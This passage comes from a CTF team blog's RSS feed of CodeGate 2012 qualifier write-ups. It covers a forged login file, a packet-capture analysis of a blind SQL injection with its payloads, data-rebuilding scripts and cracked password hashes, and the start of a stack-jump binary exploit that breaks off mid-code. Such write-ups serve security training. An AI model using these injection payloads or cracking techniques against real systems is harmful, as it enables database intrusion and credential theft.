<span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;king.ctf&quot;</span>, <span style="color: #483d8b;">&quot;wb&quot;</span><span style="color: black;">&#41;</span>.<span style="color: black;">write</span><span style="color: black;">&#40;</span>b64encode<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;3aca0e3ca654b0b6&quot;</span>.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span> + b64encode<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;70008d1d085d1ff2&quot;</span>.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;hex&quot;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>Let&#8217;s login with <strong>king.ctf</strong><br />
<a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/king.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/king.png" alt="" title="king" width="311" height="97" class="alignnone size-full wp-image-2301" /></a>:</p>
<p>The flag: <strong>MYL0_V3_SCARLET</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-400/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals Net400 Write-up</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-net400-write-up/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-net400-write-up/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 11:14:41 +0000</pubDate>
		<dc:creator>vos</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[blind]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[pcap]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[writeup]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2200</guid>
		<description><![CDATA[Because of vulnerability of site in Company A, database which contains user&#8217;s information was leaked. The file is dumped packet at the moment of attacking. Find the administrator&#8217;s account information which was leaked from the site. For reference, some parts of the packet was blind to XXXX. Answer : strupr(md5(database_name&#124;table_name&#124;decode(password_of_admin))) (&#8216;&#124;&#8217;is just a character) Download&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-net400-write-up/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Because of vulnerability of site in Company A, database which contains user&#8217;s information was leaked. The file is dumped packet at the moment of attacking.<br />
Find the administrator&#8217;s account information which was leaked from the site.<br />
For reference, some parts of the packet was blind to XXXX.</p>
<p>Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))<br />
(&#8216;|&#8217;is just a character) </p>
<p>Download : <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/net400/80924D4296FCBE81EA5F09CF60542AE7.pcap">80924D4296FCBE81EA5F09CF60542AE7</a></p></blockquote>
<p>Net400 featured a network packet capture of a blind SQL injection attack with task to extract some info and bruteforce a bit.<br />
<span id="more-2200"></span></p>
<h3>Analyzing the attack</h3>
<p>The task pcap carries 15 MB of HTTP traffic between two VMs.<br />
All the requests are made to <u>http://www.cdgate.xxx/sc/id_check.php</u> with <strong>?name=</strong> get parameter. Here is a couple requests from the beginning.</p>
<pre style='background:#F3F3F3;border:1px solid #E3E3E3;overflow:auto'><font color=blue>GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
</font>
<font color=red>HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:03:38 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

&lt;br&gt;</font></pre>
<p><strong>$_GET['name']</strong> is set to &#8220;<strong>music&#8217; AND &#8216;Ohavy&#8217;='Ohavy</strong>&#8221; and server response is <strong>&lt;br&gt;</strong></p>
<pre style='background:#F3F3F3;border:1px solid #E3E3E3;overflow:auto'><font color=blue>GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close
</font>
<font color=red>HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:03:38 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html
</font></pre>
<p><strong>$_GET['name']</strong> is &#8220;<strong>music&#8217; AND &#8216;Ohavy&#8217;='Ohavyy</strong>&#8220;, server response is <em>empty</em></p>
<p>It&#8217;s an SQL injection, and server prints out <strong>&lt;br&gt;</strong> when the SQL query returns some rows (when the condition is <strong>TRUE</strong>), and gives out <em>empty</em> page when zero rows are returned (condition is <strong>FALSE</strong>).</p>
<p>Let&#8217;s look what info we can extract from the packet trace.</p>
<h3>Extracting info, bit by bit</h3>
<p>First, we need to gather all URLs that are being requested, with corresponding server answers. </p>
<p><a href="http://www.wireshark.org/" target="_blank">Wireshark</a> only extracts HTTP objects that have non-zero length, so let&#8217;s not use it. All the HTTP traffic is plain-text, and it lies as it is inside the PCAP. <a href="http://technet.microsoft.com/en-us/sysinternals/bb897439" target="_blank">strings</a> utility allows to get rid of all binary trash, and keep only <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/net400/strings_out.txt">the text</a> that can be later processed.</p>
<p>Now extracting attack info from pcap boils down to plain-text processing. <strong>Content-Length</strong> http response header field can be used to determine whether the condition was <strong>TRUE</strong> (length <strong>4</strong>) or <strong>FALSE</strong> (length <strong>0</strong>).</p>
<p>Here&#8217;s a script for that:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'strings_out.txt'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#GET /sc/id_check\.php\?name=(.*?) HTTP/1\.1.+?Content-Length: (\d+)#s'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #000088;">$mt</span><span style="color: #339933;">,</span> PREG_SET_ORDER<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$mt</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$m</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #990000;">urldecode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Query: <span style="color: #006699; font-weight: bold;">$query</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$length</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$m</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$length</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Result: FALSE<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">elseif</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$length</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Result: TRUE<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Result: <span style="color: #006699; font-weight: bold;">$length</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/net400/sql_queries_results.txt">Download output</a>.</p>
<p>Attacker extracts info from database using a series of SQL queries. A query consists of 4 parts:</p>
<pre style='background:#F3F3F3;border:1px solid #E3E3E3;overflow:auto'><font color=gray>music' AND ORD(MID(<font color=red><b>(SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 1, 1)</b></font>, <font color=blue><b>4</b></font>, 1)) &gt; <font color=green><b>112</b></font> AND 'idobQ'='idobQ</font></pre>
<ul>
<li><font color=red><b>SQL query</b></font></li>
<li><font color=blue><b>Character position</b></font></li>
<li><font color=green><b>ASCII probe</b></font></li>
</ul>
<p>With a series of SQL queries with different <font color=green><b>ASCII probes</b></font> a single character can be extracted. Varying <font color=blue><b>Character position</b></font>, we can get the entire <font color=red><b>SQL query</b></font> result char-by-char.</p>
<p>A script that assebles SQL query results bit-by-bit:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #990000;">file_get_contents</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;sql_queries_results.txt&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">preg_match_all</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'#Query: music\' AND ORD\(MID\((.+?), (\d+), \d+\)\) &gt; (\d+) AND \'\w+\'=\'\w+\nResult: (TRUE|FALSE)\n#s'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #000088;">$mt</span><span style="color: #339933;">,</span> PREG_SET_ORDER<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$datas</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$mt</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$cm</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cm</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$pos</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cm</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$probe</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>int<span style="color: #009900;">&#41;</span><span style="color: #000088;">$cm</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$cm</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$datas</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #000088;">$datas</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$datas</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$pos</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #000088;">$datas</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$pos</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">255</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">&quot;TRUE&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$datas</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$pos</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$probe</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$datas</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$pos</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$probe</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$decoded</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$datas</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$query</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$chars</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  <span style="color: #000088;">$str</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$chars</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$char</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$str</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">chr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$char</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000088;">$decoded</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$str</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$decoded</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/net400/rebuilt_data.txt">Download output</a>.</p>
<h3>The flag</h3>
<blockquote><p>Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))</p></blockquote>
<p>Database name is <strong>cdgate</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #66cc66;">&#40;</span>IFNULL<span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">CAST</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">DATABASE</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">AS</span> <span style="color: #993333; font-weight: bold;">CHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10000</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">CHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">=&gt;</span> cdgate</pre></div></div>

<p>Table name is <strong>member</strong>:</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">SELECT</span> IFNULL<span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">CAST</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">TABLE_NAME</span> <span style="color: #993333; font-weight: bold;">AS</span> <span style="color: #993333; font-weight: bold;">CHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">10000</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">CHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">32</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">FROM</span> information_schema<span style="color: #66cc66;">.</span><span style="color: #993333; font-weight: bold;">TABLES</span> <span style="color: #993333; font-weight: bold;">WHERE</span> table_schema<span style="color: #66cc66;">=</span><span style="color: #993333; font-weight: bold;">CHAR</span><span style="color: #66cc66;">&#40;</span>X<span style="color: #66cc66;">,</span>X<span style="color: #66cc66;">,</span>X<span style="color: #66cc66;">,</span>X<span style="color: #66cc66;">,</span>X<span style="color: #66cc66;">,</span>X<span style="color: #66cc66;">&#41;</span> <span style="color: #993333; font-weight: bold;">LIMIT</span> <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">=&gt;</span> member</pre></div></div>

<p>Passwords are hashed using MySQL5 algorithm. Let&#8217;s bruteforce:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">*</span>300102BEB9E4DABEB8BD60BB9BB6686A6272C787
<span style="color: #000000; font-weight: bold;">*</span>1763CA06A6BF4E96A671D674E855043A9C7886B2
<span style="color: #000000; font-weight: bold;">*</span>C5404E97FF933A91C48743E0C4063B2774F052DD
<span style="color: #000000; font-weight: bold;">*</span>DBA29A581E9689455787B273C91D77F03D7FAD5B
<span style="color: #000000; font-weight: bold;">*</span>8E4ADF66627261AC0DE1733F55C7A0B72EC113FB
<span style="color: #000000; font-weight: bold;">*</span>FDDA9468184E298A054803261A4753FF4657E889
<span style="color: #000000; font-weight: bold;">*</span>0ECBFBFE8116C7612A537E558FB7BE1293576B78
<span style="color: #000000; font-weight: bold;">*</span>EEFD19E63FA33259154630DE24A2B17772FAC630:lynco
<span style="color: #000000; font-weight: bold;">*</span>6FF638106693EF27772523B0D5C9BFAF4DD292F1
<span style="color: #000000; font-weight: bold;">*</span>87A5750BB01F1E52060CF8EC90FB1344B1D413AA:mouse
<span style="color: #000000; font-weight: bold;">*</span>DDD9B83818DB7B634C88AD49396F54BD0DE31677:etagcd <span style="color: #000000; font-weight: bold;">&lt;</span>==
<span style="color: #000000; font-weight: bold;">*</span>3E8563E916A490A13918AF7385B8FF865C221039
<span style="color: #000000; font-weight: bold;">*</span>18DF7FA3EE218ACB28E69AF1D643091052A95887</pre></div></div>


<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">echo</span> <span style="color: #990000;">strtoupper</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'cdgate|member|etagcd'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
AB6FCA7FFC88710CFBC37D5DF9A25F3F</pre></div></div>

<p>Flag is <strong>AB6FCA7FFC88710CFBC37D5DF9A25F3F</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/codegate-2012-quals-net400-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CodeGate 2012 Quals &#8211; Vuln 300</title>
		<link>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-300/</link>
		<comments>http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-300/#comments</comments>
		<pubDate>Sun, 26 Feb 2012 11:11:12 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[codegate]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[exploitation]]></category>
		<category><![CDATA[freebsd]]></category>
		<category><![CDATA[quals]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[stack]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2241</guid>
		<description><![CDATA[Here we are given ssh credentials where we need to exploit the binary. Summary: compose file to make program jump to stack. Let&#8217;s decompile it the binary: int func&#40;&#41; &#123; puts&#40;&#34;func&#34;&#41;; return 0; &#125; &#160; int main&#40;int argc, char *argv&#91;&#93;&#41; &#123; char s&#91;12&#93;; memset&#40;s, 0x90u, 0x12u&#41;; FILE *stream = fopen&#40;argv&#91;1&#93;, &#34;r&#34;&#41;; if &#40;stream&#41; &#123; int&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/codegate-2012-quals-vuln-300/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<p>Here we are given ssh credentials where we need to exploit the <a href="http://leetmore.ctf.su/wp-content/uploads/files/codegate2012/X.tgz">binary</a>.</p>
<p><strong>Summary:</strong> compose file to make program jump to stack.</p>
<p><span id="more-2241"></span></p>
<p>Let&#8217;s decompile it the binary:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> func<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    puts<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;func&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>argv<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #993333;">char</span> s<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">12</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
    memset<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> 0x90u<span style="color: #339933;">,</span> 0x12u<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    FILE <span style="color: #339933;">*</span>stream <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>stream<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #993333;">int</span> nread <span style="color: #339933;">=</span> fread<span style="color: #009900;">&#40;</span>s<span style="color: #339933;">,</span> 1u<span style="color: #339933;">,</span> 0xCu<span style="color: #339933;">,</span> stream<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>nread <span style="color: #339933;">==</span> <span style="color: #0000dd;">12</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            fclose<span style="color: #009900;">&#40;</span>stream<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>ptr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">=</span> func<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 0x08048540</span>
            <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> b4 <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">4</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">|</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">^</span> <span style="color: #208080;">0xE0</span><span style="color: #339933;">;</span>
            <span style="color: #993333;">unsigned</span> <span style="color: #993333;">int</span> b3 <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>s<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">|</span> <span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">^</span> <span style="color: #208080;">0xE0</span><span style="color: #339933;">;</span>
            b3 <span style="color: #339933;">&lt;&lt;=</span> <span style="color: #0000dd;">16</span><span style="color: #339933;">;</span>
            b4 <span style="color: #339933;">&lt;&lt;=</span> <span style="color: #0000dd;">24</span><span style="color: #339933;">;</span>
            strncpy<span style="color: #009900;">&#40;</span>test<span style="color: #339933;">,</span> s<span style="color: #339933;">,</span> 0x12u<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// ???</span>
            ptr <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>b4 <span style="color: #339933;">|</span> b3 <span style="color: #339933;">|</span> ptr<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            ptr<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
